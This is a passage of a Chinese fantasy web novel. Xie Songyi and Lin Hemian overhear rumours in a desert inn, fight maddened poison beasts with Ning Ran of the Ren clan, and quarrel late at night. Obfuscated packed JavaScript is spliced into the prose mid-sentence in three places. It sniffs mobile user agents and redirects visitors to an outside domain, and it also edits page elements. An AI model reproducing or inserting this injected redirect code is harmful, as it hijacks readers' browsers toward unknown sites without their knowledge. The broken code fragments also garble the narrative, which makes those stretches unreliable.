“那家饭馆里,最好吃的当属猪肉大葱馅的馄饨,皮薄馅多,我建议你们尝尝。不过他家的酥饼也挺好吃的,酱肘子也不错。” 狼妖一路上絮絮叨叨,说起吃的更是滔滔不绝。 林鹤眠听的耳朵嗡嗡响,又瞟谢松意一眼,恰巧谢松意朝他那边扫了一眼,二人对上目光,林鹤眠抽搐的嘴角已经生活千言万语。 “他一直都这么能说会道?” 谢松意点头。 林鹤眠没再看他,开始认真考虑要不要找个耳塞堵住耳朵。 林少侠最终都没堵住耳朵,因为他们没有多久就到了漠林中心的绿洲地带。 绿洲地带面积很大,相当于半座京都。 狼妖带着二人去了他说的那家饭馆,林鹤眠不知道吃什么,干脆听狼妖的点了一碗馄饨,谢松意不吃饭,就坐在林鹤眠对面闭目养神。 狼妖在一旁要了一壶酒,自顾自的喝起来。隔壁桌上的几个大汉在谈话,因为声音大,林鹤眠听得一清二楚。 “哎,你听说了么,通天墟炸了?” “通天墟?我听说那地方可是由各大门派共同镇守的地方,里面尽是些妖怪,这要炸了那我们这些普通人不就惨了么?” “那没办法,惨不惨就看运气了。” “我听说是须臾山一个不懂事的小徒弟带着他朋友进去,结果也不知道两人在里面做了什么,就把通天墟炸了。” 林鹤眠听到“不懂事的小徒弟”这句话时两眼一翻,狼妖竖起耳朵,正想再听他们说的什么,店小二就端了一碗馄饨过来。 “客官您的馄饨。” 林鹤眠接过馄饨:“谢谢。” 店小二笑着说了一句应该的就走了,隔壁桌那几个大汉还在说。 “那得多大本事啊,你确定是个不懂事的小徒弟。” “我江湖百晓通说的话还能有假?而且,我还听说那小徒弟是个断袖,他那位朋友其实是他爱人,俩人形影不离,如胶似漆。” 林鹤眠被呛了一口。 隔壁桌安静了一会,等他没吃几口饭,又说起来。 “而且,他俩还祛除了一半瘴山的瘴气,烟帐山直接被连累少了大半瘴气,许多弟子因为无法以气练毒,都钻山窝里找毒虫去了。” “哪有这么夸张,一个无名无姓的小徒弟能有多厉害,又炸通天墟又除瘴气的,除非那人是须臾山掌门弟子林鹤眠。” 某掌门弟子实在是忍不住了,听到这句话,直接被嘴里的馄饨呛了一大口。 谢松意睁开眼,林鹤眠转头看向隔壁桌的几个大汉,大汉们听到身后的动静,也纷纷看过来。 其中一个大汉开口问道:“小兄弟,你怎么吃个饭能被呛住两次?” 林鹤眠干笑两声:“我吃的太急,不小心就被呛到了。” 谢松意递来一块帕子,林鹤眠接过去,说了句“谢谢”。他觉得今天出门应该看黄历,不然怎么会吃个饭都能中枪。 还有那个造谣他是断袖的人,最好别让他知道是谁! “哎,这位小兄弟,我看你还挺像个修士的,我们说的事你怎么看?” 林鹤眠心说我确实是修士,至于我怎么看就别问了,我不用看,因为通天墟是我炸的。 最左边的大汉见林鹤眠迟迟不说话,就帮他解围,说:“人家又不一定真是修士,你问他干嘛,别为难人家小孩子了。” “也是。”那个大汉若有所思地点头,又要了一壶酒,大口大口地喝起来,“嘶,你说,他俩不会真的是断袖吧?” “想什么呢你,快吃。” 个子最高的大汉凭借自己大哥的威严成功堵住了小弟的嘴,那人没再说话,闷头吃起来。 “可算找到吃饭的地方了,没想到出个客栈不容易,横穿漠林更不容易。” 门外突然走进来两个带斗笠的男人,他们放下手里的大刀就找了一张桌子坐了下来。 店小二跑过去问二人要吃什么,他们随便点了几壶白酒和一盘牛肉,店小二记下来,又问了一句:“二位客官,您说出个客栈不容易是什么意思?” “哦,这个啊。两天前一个华服男子带人把须臾山下的一家客栈围起来了,说要盘查里面所有人,查完了也不放我们出来,后来又来了一个人,我们才出去。” 一直沉默的谢松意终于开口:“敢问这位大哥,您说的那家客栈叫什么名字?” “好像是鸿福客栈。”另一个男人把话接过去,略微思索一番后才又说,“对,就叫这个名字。听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014063|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是要找什么人,但没找到,又不肯罢休才一直把我们围起来的。” 狼妖听到那人说的话差点没把嘴里的酒喷出来,他转过头,刚想开口,林鹤眠却趁旁人不注意捂住他的嘴,对他比了个噤声的手势,待狼妖点头后才松开。 谢松意只是点头,没再回话。林鹤眠麻溜扒完碗里的馄饨结账,趁着天刚擦黑,找了一家客舍要了三间房。 几人聚在谢松意屋里,狼妖不解:“林少侠,您刚才为什么不让我问他们?” “他不让你问是对的。”谢松意说,“问多了说明你很在意那家客栈,问个名字就够了。能带人把老板的客栈围起来的人,要么是王公贵族要么是高官显贵,不过这件事我们不用管,没人敢动他。” “老板做了什么,怎么会被人围起来?”林鹤眠十分疑惑。 谢松意望向窗外,林梢银勾高悬,月光清澈,照得满地生辉。 如果他没猜错,老板一定是为满纪出头了。 “大概是替人申冤。” 林鹤眠似懂非懂的点头,他能猜出来老板替谁申冤,但怎么个申法,他就不知道了,而且也不在意这个。 狼妖打了个瞌睡,抹着眼泪就要去睡觉:“算了算了,反正没人敢动老板,大家先睡觉吧,我都困了。” 狼妖不说还好,一说还真把林鹤眠的困意勾起来了,他也跟着打瞌睡。 “你别说,我还真的有点困了。” 谢松意无奈,把俩瞌睡虫请了出去。 他倒是不困,横竖睡不着,不如出去走走。 从绿洲地带的边缘地区望去,刚好可以看到沙漠。飒飒晚风卷起微小的尘埃,沙子越堆越高,形成了一个小的扇形沙丘。 谢松意走出绿洲地带,踏入漫漫黄沙。沙子下面隐约传来一阵异响,谢松意掌心聚起妖力,时刻准备出手。但那个声音很快就没了动静,他只好作罢。 紧接着,整片沙地都在颤动,一个粉色的身影从天而降,对着谢松意身后鼓起的沙丘一剑插了过去。 一只巨型蜈蚣从沙子里钻出来,它一声嘶吼,周围的黄沙喷薄而出,迷的人睁不开眼。 谢松意止住漫天黄沙,那个粉色的身影从他头顶跳下来,模糊的视野变得开阔,谢松意还没看来者是谁,就听到了一个熟悉的声音。 “你不是林鹤眠的师兄吗?”粉衣女子拔出蜈蚣头顶的剑,有些惊讶。 谢松意也是,好端端的这个叫宁然的姑娘怎么跑这里来了。 宁然用帕子擦去剑上的,又说:“你怎么在这里?” “不是我。”谢松意摇头,“是我们。” “你们不会也是听说了溶骨脂才来的吧?” “溶骨脂是什么?” 宁然半信半疑的看着谢松意,心说正常人要么是拜长生要么是来找最近沸沸扬扬的溶骨脂,不然谁会来漠林,但这家伙居然不知道溶骨脂,他总不可能是去拜长生的吧。 连林鹤眠都不信的玩意,他这师兄要是信了,她会笑一辈子。 “你真不知道?” 谢松意点头,身后骤然掀起一阵沙浪,他一个眼神下去,沙子底下的妖便没再搞小动作。 宁然在看到谢松意眼神的那一瞬莫名发怵,她好像看到了什么很可怕的东西,对方只是站在自己身前,她就被震慑的不敢言语。 但这种感觉也只有一瞬,她更愿意相信是自己出现了错觉。 24. 第二十二章 那种突如其来的威压太过强大,让宁然有些呆滞。 “宁小姐,你还好么?” 直到谢松意喊她的名字,她才回过神来,干笑两声,说:“我没事。不过你真的不知道溶骨脂?这东西最近传的沸沸扬扬的,你居然没听说过。” “没听过,它是什么东西?” “怎么说呢。”宁然有些为难,挠着头琢磨怎么给谢松意解释,“我见过的毒没有成万也有上千,但这个叫溶骨脂的东西倒是头一回听说。” “本来我师兄他们下山找毒虫是为了炼毒,结果毒还没炼成,倒先发现了一种毒。任何碰到这种毒的东西都会被溶解,而后化成一滩脓水,连骨头都不剩。” “但中毒的人不会有任何中毒的征兆,留下的脓水会腐蚀四周的植物。脓水触之即死,不能风干,火烧都烧不掉。” 谢松意本来是没有任何表情的,但听到宁然说这种毒火烧都烧不掉后,心里大概有了猜测。 “这不是毒,是一种药。” 宁然目瞪口呆:“你说这玩意是药?别的药药到病除,它药到命除啊。” 如果谢松意说普通毒药是药宁然还能理解,毕竟她们家就是一毒两用,既能杀人也能救人。 但是谢松意居然说这种不在普通毒药范畴的玩意是药,得了吧! “真的是药。我猜宁小姐来漠林,是为了寻找这药的根源。”谢松意微顿,“不过我很好奇,你是怎么知道它的根源在这里的。如果我没记错,烟帐山只教用毒不教探源。” 宁然施法抽出巨型蜈蚣的脊骨,将脊骨缩小装进一个袋子里,笑道:“这位公子,焱州任家,了解一下?” 焱州任家,在毒术上另辟蹊径的一位世家大族,和烟帐山齐名,甚至在部分修士眼里地位比烟帐山更高。 任家只用毒,救人杀人全靠对毒药药理的了解和一手毒术。 现任任家家主的毒术用的出神入化,杀人于无形之中,救人于抬手之间,可谓是一毒两用的集大成者。 当年老板将灵蝎一族的毒术赠予一位任姓修士,那位修士苦心钻研,这才有了后来的任家。 如果千足知道他们一族的秘术被他最讨厌的人类掌握并传承下来,此时此刻,他会想什么呢? 谢松意自嘲般笑了一下。 世事无常,连他都觉得这对千足来说是一种讽刺,遑论千足本人。 “哎,对了,你们这几天都在漠林?有没有发现什么异常?” 宁然的话让谢松意收了思绪,他扫一眼地上的蜈蚣,又将今日发生的一切都在脑子里快速过了一遍,说:“我们刚到漠林,目前并无异常,除了这只蜈蚣。” 宁然蹙眉,对着那只蜈蚣思索一番,百思不得其解。 “没道理啊,按理来说不管他是毒还是药,根源五十里内一定是有至少四种毒虫把守的,不可能就只有一只蜈蚣啊。” “我们分头找找。” 宁然叹气:“也只能只样了。” 二人分头行动,宁然是真的老实去找毒虫了,谢松意则走到一个确保宁然看不到自己的地方,随手从地下揪了一只蝎子精。 蝎子精被谢松意拎着后脖颈提起来,努力避开谢松意的目光,嘴皮子都在打颤:“祖宗,刚才真不是故意的,我们没想过要捡您的东西去换钱,而且主谋不是我,您不能拿我当替罪羊啊。” 谢松意“啧”了一声:“吓人吓到我头上,你们可真是一群小天才。还有,你们好好的生意不做,怎么跑来吓人捡东西了?” 蝎子精缩着脖子点头,尴尬的笑了两声:“这不是做生意出意外破产了嘛。我们天生带毒,给人当做工一不小心就是一条人命,不敢去啊,只能用这个法子赚钱。” 谢松意盯着蝎子精看了一会,只能叹气,然后把他扭过去,让他的脑袋对着绿洲地带,问:“这里最近有没有什么异常?” “异常?”蝎子精挠了挠头,被谢松意提在半空,歪着脑袋朝绿洲地带看了半晌,突然想起什么似的,缩着的脖子都伸直了,“您别说,还真有。” “前些日子您不是把沙妖全杀了么,沙妖死后,绿洲地带的蜉蝣草就莫名其妙的少了好多,然后蜉蝣草核就开始枯萎,负责把守草核的毒兽也不见了。” “我们以为蜉蝣草只是因为您的妖力太强受到影响缩了回去,导致蜉蝣草核也提前进入了休眠期,不过现在看来好像并不是。” 谢松意又“啧”了一声,他大概是知道这群蝎子精怎么破产的了。 就这脑子,原形没杏仁大就算了,人形也没杏仁大,你不破产谁破产。 谢松意把蝎子精扔了,半是无语半是无奈:“请动动你智慧的小脑袋,我当时的妖力要是能影响到蜉蝣草,你觉得绿洲地带的普通人还有命活吗?” 蝎子精恍然大悟:“有道理啊!” 谢松意:“……” 不想说话,怕被拉低智商。 狼妖只是装傻,关键时刻还是会把脑子拿出来的,这蝎子精但凡有狼妖一半脑子呢。 果然是没对比就没有伤害,现在狼妖在谢松意面前的好感度蹭蹭往上涨。 不过现在并不是在意好感度的时候,守护蜉蝣草核的毒兽即便消失,也不会走出漠林的范围,这些毒兽本性不坏,怕就怕像刚才那只蜈蚣一样突然发狂。 毒兽之间都是相互联系的,如果一只毒兽发狂并死亡,那么就会激起另一只毒兽发狂。如今这只蜈蚣已死,另外的三只毒兽发狂也只是时间问题,不可能迟迟没有动静。 一阵风吹过,谢松意刚抬眸,突然发现远处有一股强大的灵力和妖力在相互对抗,他召出佩剑,直接飞了过去。 不过他去晚了,等他赶到,地上只有三具尸体和两个人。 一个是林鹤眠,一个是狼妖。 谢松意扫了一眼地上的尸体,问:“这到底是怎么回事?” 林鹤眠收了佩剑,说:“狼妖回房后没睡着,出门逛街发现蜉蝣草少了很多就去找你,结果你不在,他就带我一起出门找你,我俩还没走几步,就被这三个东西缠上了。” “这是发狂的毒兽。” 谢松意走过去,蹲下身子去扒一只状似蜥蜴的毒兽的眼皮子。 狼妖站在远处伸着脖子左看右看:“您看出什么了?” 谢松意收了手,起身道:“有人碰过蜉蝣草核。” “不可能!”赶来的蝎子精连忙否认,“这些天根本没人靠近蜉蝣草核。” 谢松意偏过头,示意蝎子精看向他身后的毒兽:“毒兽的眸子是红色,如果不是有人故意刺激蜉蝣草核让毒兽狂化根本不会这样。” “红色?”蝎子精愣了一下,随后朝谢松意身后的尸体走过去,伸手就要扒开毒兽眼皮子“我看看。” 眼皮子被扒开一点,谢松意突然发现事情不对劲,施法将其他人都推了出去,而此时察觉到这边异常的宁然刚到就被飞来的狼妖撞倒在地。 “宁然?!”林鹤眠几乎要喊出来。 宁然也有些惊讶,忙从地上爬起来:“林鹤眠,你怎么也……” 话还没说完,一阵毒气就弥漫开来,毒气入体,除了宁然和谢松意,其余人都不停的咳嗽。 谢松意大手一挥收了毒气,宁然用一种很赏识的眼光看向谢松意:“中了那么多兽尸毒还能看起来安然无恙,佩服。” 兽尸毒是用毒兽尸体制成的毒,毒性极强,解药也很难制作,中毒半个时辰内不服药就会死。 按照刚才的站位,兽尸毒爆发的一瞬,谢松意吸的毒气最多,林鹤眠他们被推出去了,所以吸的最少,但现在看来谢松意反而是最没事的那个。 “兽尸毒?”狼妖小腿开始打颤,“完了完了,我要死了。” 蝎子精听他这么说,也害怕的不得了:“别啊,我还没把钱赚回来呢。” “嗨,不就是兽尸毒嘛,死不了。” 宁然不知从哪里拿出一个小瓶子,倒了一颗褐色的小药丸喂给蝎子精,蝎子精半信半疑的接过去吃了,结果舌头刚碰到药丸就吐出来了。 “不是,你这药怎么又苦又臭啊?” 林鹤眠和狼妖闻言,齐刷刷的皱眉,又苦又臭的药,很难下嘴啊。 宁然却是一副无所谓的样子,又拿出一颗药丸给蝎子精:“哦,这个啊,我还没学会隐藏气味呢,你凑合着吃吧。” 蝎子精捏着鼻子,脖子一仰把药咽下去了,那架势,颇有一股大义凛然慷慨赴死的决绝。 狼妖带着一副一言难尽的表情退到谢松意身后,宁然只能把药递给林鹤眠,结果林鹤眠一脸嫌弃的退到了狼妖身后。 谢松意:“……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014064|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宁然:“……” 蝎子精:“所以倒霉的只有我?” 宁然瞪向蝎子精,皱眉道:“你不吃我的药更倒霉,不吃药就等着半个时辰后下去见阎王吧!” 宁然回过头来,手里捏着小药丸,笑着问:“你们都不吃?” 林鹤眠和狼妖拨浪鼓似的摇头。 谢松意:“这毒奈何不了我。” 这毒的确奈何不了他,他完全可以用妖力把毒从体内逼出去。 宁然想起谢松意那个眼神,心说这人吸了那么多毒气都没事,估计是真的奈何不了他,便将目光落到谢松意身后的狼妖身上,狼妖牙齿都在打颤。 “我觉得吧,”狼妖把身后的林鹤眠拽上前,“你要真想喂人吃药的话,可以喂他。” 林鹤眠:“???” 狼妖正准备把一脸懵的林鹤眠推出去,林鹤眠的手腕却突然被一只大手抓住,狼妖低头一看,推着林鹤眠的手忙松开了。 谢松意瞥狼妖一眼,狼妖寒毛倒立,顿觉毛骨悚然。 宁然急了:“你们到底吃不吃,他有能耐我信,你俩有啥?” 谢松意反手把狼妖拽到前面,林鹤眠趁机躲他身后。这下轮到狼妖懵了,蝎子精在一旁看得津津有味。 林鹤眠朝狼妖努努嘴:“我有我师兄,你喂他。” 狼妖:“不是,就非得吃这玩意吗?我不想……呜……” 话还没说完,宁然直接把药扔狼妖嘴里捂着他咽下去了。 狼妖吃完直抠嗓子眼,开始不停的干呕,呕完,他抹了一把嘴,还不忘记吐口水:“你这药不对劲啊,又苦又臭就算了,怎么还有种肉质感?” “不可能啊。”宁然又倒出一颗药丸,拿在手里看了半天,“我明明把那些毒虫都炼化了,怎么会有尸体残留?” 蝎子精:“?” 狼妖:“?” 这俩倒霉蛋几乎是异口同声:“所以,你喂给我们的是毒药?!” “我只会炼毒。” 周围霎时安静了,只有风吹细沙的声音清晰可闻。此时的沉默,抵过千言万语。 谢松意看不下去了,叹气道:“她是焱州任家的人。” 两个倒霉蛋提到嗓子眼的心在听到焱州任家这个词后可算是落了地,纷纷拍着胸脯,嘴里还嘟囔着“吓死我了”。 林鹤眠长舒一口气,低声道:“还好我没吃。” 谢松意无奈,回了他一句:“一会回去我帮你把毒逼出来。” 宁然露出一副很嫌弃的表情:“你就惯着他吧。” “他还真就惯着我了。” 林鹤眠颇为得意的笑起来,在宁然眼里他笑得像小人得志。 蝎子精偷偷让地下的其他蝎子精给他打了两杯水过来,狼妖接过他递来的水,说了句“谢谢”。 另一边的宁然嫌弃归嫌弃,嫌弃完,突然想到什么似的,对着谢松意和林鹤眠上下打量一番,然后问了一句:“你俩不会真是断袖吧?” 狼妖&蝎子精:“噗!!!” 刚才准备用来压惊的水被他俩一口喷了出去,两只妖抹了把嘴,纷纷伸长了脖子用一种吃瓜的眼神看向谢松意和林鹤眠。 林鹤眠毫不犹豫的怼了回去:“你才是断袖!” 怼完林鹤眠发现不对啊,宁然怎么也知道这个谣言,便问:“到底是谁在造谣我?” 宁然指着身后漫无边际的黄沙,说:“出了漠林向东走有个翠珏镇,镇里有个说书的,他把炸通天墟的事改成故事了,主角原型我一猜就是你俩。” “故事传的快,所以越传越邪乎,目前的版本是你有龙阳之好,为了救自己的心上人把通天墟炸了,然后又把烟……” “打住!” 林鹤眠伸出手制止宁然:“你不觉得这个故事里的我很有病么?我闲的没事炸通天墟干什么,里面全是妖啊。就算是为了救人,我会去炸通天墟?” “但问题是炸通天墟的人真的是你,现在整个衍国都知道这件事,须臾山坚持对外宣称是某个不懂事的小弟子误入通天墟然后出了意外。” “这件事真的是个意外。” “你承认你炸通天墟了。” “我……” 有那么一瞬,林鹤眠觉得死了比活着好,宁然的话他根本无法反驳,因为全他妈是事实。 25. 第二十三章 经过一番激烈的两小儿辩墟之争后,林鹤眠选择投降,事实摆在眼前,他不得不服。 至于那个造谣他的说书人,最好祈祷他别去翠珏镇! 林鹤眠“哼”了一声,没再理会宁然,宁然“嘁”了一句,得了好处就收,也没再嘴上咄咄逼人。 嘁完她就觉得不对劲:“不对啊,你俩不是来找溶骨脂的话,来漠林干嘛?” “看风景。”林鹤眠随口胡诌,她总不能和宁然说他要去拜长生,又或者说他其实是去斩长生的。 前者宁然会笑话他,后者宁然一定会劝他,他不想听宁然唠叨。 “啊?” 宁然环顾四周,除了绿洲地带,漠林尽是漫无边际的黄沙和稀疏直立的枯树。 “你们、来这里、看风景?”宁然挑眉,一双桃花眼睁得溜圆,就差把那句“这地方有什么风景值得看啊”的心里话给说出来了。 林鹤眠继续胡说:“这你就不懂了,没见过的都是风景。见惯了须臾山的青山绿水,来见见漠林的穷山恶水,怎么不算看风景?” 宁然冲他翻了一个白眼:“呵。” 你继续说瞎话,也不怕烂嘴。 “宁小姐,”谢松意打断这两个小孩子的争吵,“按你刚才的意思,你是从漠林东边的翠珏镇过来的?” 宁然朝身后看了一眼,道:“我这不是和师兄师姐们一起下山找毒药去了嘛,翠珏镇后面的乱葬岗有好多,甚至还有毒虫。” “结果找着找着就发现了溶骨脂,为了寻找根源,我就从翠珏镇追到漠林来了。” 谢松意听到“乱葬岗”二字时,表情有些微妙,林鹤眠见他一副欲言又止的样子,嘴唇微张,但又想到他大概是不想说,终究没问。 谢松意扫了一眼身后的尸体,施法收了两个,余下那个释放毒气的,直接一把火烧了。 “我们先回去。”谢松意转身要走。 “这些尸体就这么收了?”宁然被谢松意这随意的操作整的有些发懵。 “剩下的尸体没被下毒,我带回去有用处。” 宁然想问什么用处,但又想到谢松意那个眼神,硬是没问出来。 她现在一想到那个眼神就浑身难受,像是被什么庞然大物盯着,不经意间流露的威压能把你压成纸片。 她总觉得林鹤眠这师兄有问题,但又说不上来哪里有问题。 直到宁大小姐定好房间躺到床上睡去,她才暂时放下这个顾虑。 不找到溶骨脂根源宁然决不罢休,她干脆和林鹤眠选了同一家客舍,蝎子精则回自己家去了。 恰恰相反,狼妖听到宁然之前说他家祖宗和这位林少侠是断袖,翻来覆去睡不着觉。 虽然林鹤眠否认了这个说法,但他还是有些后怕。他家小祖宗从小到大都没表现过明显的性取向,不能这一表现就是个断袖吧? 要是真的,他会疯的,因为这样长生一族就无法繁衍了。 不过他的首要任务是找到那个说书人,彻底切断谣言的来源。 那个说书的最好祈祷自己是个人,是人他还不会动手,是妖的话,不打一顿他白看着谢松意长大了。 他看大的小孩,就算死挑剔死难伺候,那也不能被人传成断袖啊,人性取向还没定呢,别乱传好不好! 狼妖“哼”了一声,抓起被子睡觉去了。 谢松意那边就睡的没那么早了。 他催动妖力帮林鹤眠排毒,毒还没逼出来先给人整得咳出一口血。 林鹤眠:“?” “我不能是没救了吧?”林少侠有些懵,想起自己的斩长生大业创业未半就要中道崩殂,不免有些伤感。 “可能是之前被我的妖力伤过一次,身体有些敏感。”谢松意施法清理掉林鹤眠咳出的那一口血,干脆把妖力换成灵力。 “我还是第一次听到这种说法。”林鹤眠抹掉嘴角的鲜血,“你好像没和我说过你是什么妖。” “你没问。” “我现在问了。” 谢松意心说你要砍的就是我,这话你听不听?我说出来你信不信? “你怎么突然好奇这个?” “就是想知道能和九尾天狐坐一桌的妖是什么样子?” “关系够好随便一只妖都能和老板坐一桌。” “你不愿意说就算了。”林鹤眠“哼”了一声,颇为不满。 谢松意笑起来:“中了兽尸毒还能这么有活力的,你是我见过的头一个。” “我吸的毒气少。” 一说毒气林鹤眠就来气,刚抿成直线的嘴又撅起来了,说话活像大人训小孩:“我说你能不能别每次都先考虑别人。其实你也可以先考虑一下你自己,什么都自己扛,也不怕把你压扁了。” 谢松意知道林鹤眠因为什么生气,但是这种长辈说教晚辈的奇妙感觉是怎么回事? “我把你们推出去是因为我确定我有能力承受最坏的结果,但你们不一定行。” 林鹤眠更气了,什么叫谢松意确定他有能力承担最坏的结果,万一他低估了对方的实力呢,到时候下场最惨的只会是他! “那你知不知道,万一你低估了对方的实力,你的下场会很惨?” “我知道。” “知道你还自己扛?!”林鹤眠被谢松意那种无所谓的态度整得快要爆炸。 “我扛了,或许就你们就不会出事。” “你!”林鹤眠回过头,看谢松意的眼神恨不得要把他吃了,“你是油盐不进啊!” 谢松意强硬的把他的脑袋转回去,镇定自若的说:“动怒伤身,一会气血逆流你再咳出一口血,就真的别想活了。” 林鹤眠心说我死了也是被你气死的,你怎么好意思说这种话的! 他还想继续说教,但谢松意没给机会。 “另外,你现在坐的是我的床,宁小姐订的是最后一间房。你这一口血要是吐我床上,我会很嫌弃,到时候就没地方睡了。” “你睡我房里,”林鹤眠咬牙切齿,“我打地铺,行了吧?” “我觉得只要你现在不动气我就没有换房间的必要。” 林鹤眠:“……” 笑了,被气得。 “我说师兄,您还认房?” “不,我只是单纯觉得换房间麻烦。”谢松意一掌拍下去,林鹤眠又咳出一口血。 林鹤眠能感受到气血的流动,他早有准备,头一偏,刚好吐地上。 黑色的血落地即溶,不过片刻,再看向地面时,那里便什么都没有了。 谢松意下了床,给林鹤眠倒了杯水。 林鹤眠虽然还在气头上,但还是接过水,十分不忿的喝光了。 “还气着呢?”谢松意接过水杯,饶有兴趣的看着自家师弟的脸被气成一个圆鼓鼓的小包子。 林鹤眠几乎要疯掉:“世界上怎么会有你这种油盐不进的妖,你到底明不明白我什么意思!” “我明白。”谢松意一改之前无所谓的态度,“你是不是觉得你也可以像我一样承受那些后果?” “林鹤眠,”谢松意面色凝重,“我活得比你久,见的也比你多,我对自己的实力和这世间绝大部分的事物都清楚。” “但你才二十岁,还是人,人类典籍对妖的记载永远都有是有限的,什么记了什么没记我一清二楚。” “遇到那些不太了解的东西,你首先要做的不是去承担最坏的结果,而是去考虑如何活命。” “活下来才能见到更多,也只有活下来才能去做更多自己想做的事,为什么你总觉得你可以和我一样去承担后果?” 林鹤眠第一次听到谢松意喊自己全名,他默然地盯着谢松意,突然发现,自己好像是第一次认识谢松意,在客栈那次,顶多算是陪他一起发牢骚。 可为什么谢松意总把人推出去,可以一起面对的事他永远选择单独面对。 不,不该这样。 片刻后,谢松意没有听到肯定的回答,而是少年模仿自己语气的反问:“那为什么你总是不管我和其他人有没有能力承担后果都要把我们推出去?” 谢松意愣了一瞬,他没想到林鹤眠会这么问。 所以是为什么呢? 大抵是因为所谓的责任。 其实他自己都觉得这个答案可笑,他有什么责任要承担的,族人都不复存在了,他担起责任去保护谁呢? 那些各类小妖? 他们有自己的生存之道,根本无需长生的保护。始祖隐世至今,祂不肯插手人妖之争就是为了让两者自己找到一个共存的平衡点。 如今这个平衡点已经有了雏形,只是需要一些时间来稳定发展,而谢松意唯一要做的,就是保证它的稳定。 长生一族尚在时,明明连雏形都没有,可当世间只剩他一只长生时,这个平衡点却突然被孕育出来。 世事无常,谁能料到以后会发生什么,谁又能知道之前所做的一切又会引发什么后果? 他现在根本不需要被所谓的责任束缚,他甚至不想要给了他这个责任的长生的身份。 连他自己都不知道为什么,明明已经过去了很久,可一旦遇到危险,眼前出现的,永远是族人鲜血飞溅的场景。 他没把这件事告诉任何人。 他会不自觉的想去救人,或许救下身边的人,能让他减少几分当年没能救下任何族人的自责感。 可救了身边人有什么用,他的族人永远回不来了。 所以他想,变成老板那样就好了,一旦麻木了,就对什么都无所谓了。 老板却对他说,松意,你不该这样。 明明老板自己都这样,却偏偏又是最有资格这么说他的。因为老板体会过那种麻木不仁带来的感觉,所以他不希望自己变成那样。 可他觉得那样真的挺好。 别人的弃而远之是他的求之不得。 但这些没必要和林鹤眠说,揭开自己的疤给别人看,一次就够了,没必要揭第二次。 在泛月的客栈揭了一次,他就不会在这里再度揭开。 谢松意回过神来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014065|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸子低垂,没敢去看林鹤眠,便随意扯了个理由:“怕你们受伤。” “谢松意,你骗我。” 谢松意怕个屁的他们受伤,看他刚才的眼神就不像是因为怕他们受伤才那么做的,林鹤眠看得清清楚楚。 谢松意闻言抬眸,发现林鹤眠死死盯着自己,大有一副你不说实话我就把你看到天荒地老的架势。 谢松意叹气:“没有。” “你还骗我。”林鹤眠追着不放。 “你睡不睡?” “你不说实话我就不睡。” “这是我的床。” “我坐上就是我的。” 谢松意把玩着手里的水杯:“你怎么突然这么蛮横?” 林鹤眠拉起被子直接躺下:“谁让你先骗我的。” 水杯里的水滴顺着杯壁滚落在地,谢松意发现水珠落地,停了把玩,无奈道:“小孩子脾气。” “我才二十。”林某大言不惭,翻了身直接背对着谢松意,“和你比起来怎么不算小孩子?” 谢松意在心里冲林鹤眠翻了个白眼。 你二十,我说你二十你真当自己二十了?你至少有三百二了还你二十。 真按年龄你师父见清都得管你叫爷爷,你是怎么好意思说自己二十的?! 算了,再怎么算他也比林鹤眠大,他和一个小孩子计较什么。 谢松意抬脚走向烛台吹蜡烛,林鹤眠却翻过身来一把抓住他的胳膊:“你干嘛?” “我看你挺喜欢我这张床的,帮你灭掉蜡烛。” “你不睡?” “我去你房间。” 林鹤眠“啧”了一声:“你刚才不是还觉得换房间麻烦么!” “不换你不乐意,换了你又不乐意。”谢松意将目光落到林鹤眠脸上,发现这小孩还在生气,“现在又拽着我的手不让走,莫非你怕黑,想让我陪你睡?” “你为什么一直不肯说实话?” “实话就是怕你们受伤。” 谢松意见林鹤眠迟迟不肯松手,又说:“我不灭掉蜡烛,你放开我。” 林鹤眠甩开谢松意的手躺回床上,脸上余怒未消:“你一晚上骗了我三次。” “那我还可以再骗你一次。” 林鹤眠:“?” 还没反应过来,林鹤眠就眼瞅着谢松意把水杯放桌子上朝烛台又去,他脑子一热抓住谢松意的衣襟,直接把他拽回来了。 奈何力气太大,谢松意是拽回来了,他也被砸到了。 谢松意直接砸到他大腿上,其实不是很疼,但为了让谢松意答应他的条件,林鹤眠硬是挤出几滴眼泪。 明明是自作孽不可活,却被他玩成了我哭我有理。 谢松意揉着后脑勺起身,转头就看到林鹤眠泪汪汪的。 谢松意:“???” 得,这小孩不好哄就算了,也不好骗了。 谢松意叹气:“我不灭掉蜡烛,行了吧?” “我改主意了,我不听你说实话了,但以后再遇到危险,可不可以别再把我推出去?” 谢松意有些不忍心看他那副眼泪哗哗流的模样,无奈道:“我不推你了” “你发誓你没骗我。” “我发誓。” 